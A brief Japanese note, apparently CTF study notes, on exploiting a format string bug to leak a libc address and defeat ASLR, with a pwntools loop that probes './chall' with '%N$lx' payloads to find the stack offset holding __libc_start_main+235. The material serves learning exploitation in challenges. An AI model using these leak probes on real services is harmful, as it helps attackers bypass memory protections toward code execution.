fsbがあるならスタックを見る.
sytemcall直後にはrcxにreturnアドレスが書いてあるらしい??
ldに同じものが使われてno PIEならlocalで確かめることができる
libcがロードされるアドレスはランダムだが,末尾3桁(16進数)は変わらない.
patchelfを当てた後 main
にbreakpointを貼ればスタックに__libc_start_main+<num>のアドレスが積まれるのがわかるので,
fsbでその末尾3桁が見えるstringがわかる.
以下は__libc_start_mainの末尾が0xfb0で,スタックに積まれるアドレスのが__libc_start_main+235のときにformat stringが何かを求めるコードの例.
mark = hex(0xfb0+235)[3:]
for i in range(1, 256):
r = process('./chall')
r.sendlineafter(b'A: ', f'1-%{i}$lx'.encode())
r.sendlineafter(b'B: ', b'2')
output = r.readline().decode().strip()
if mark in output:
ic(i, output)
ic(hex(r.libc.address), hex(r.libc.symbols['__libc_start_main']))
r.kill()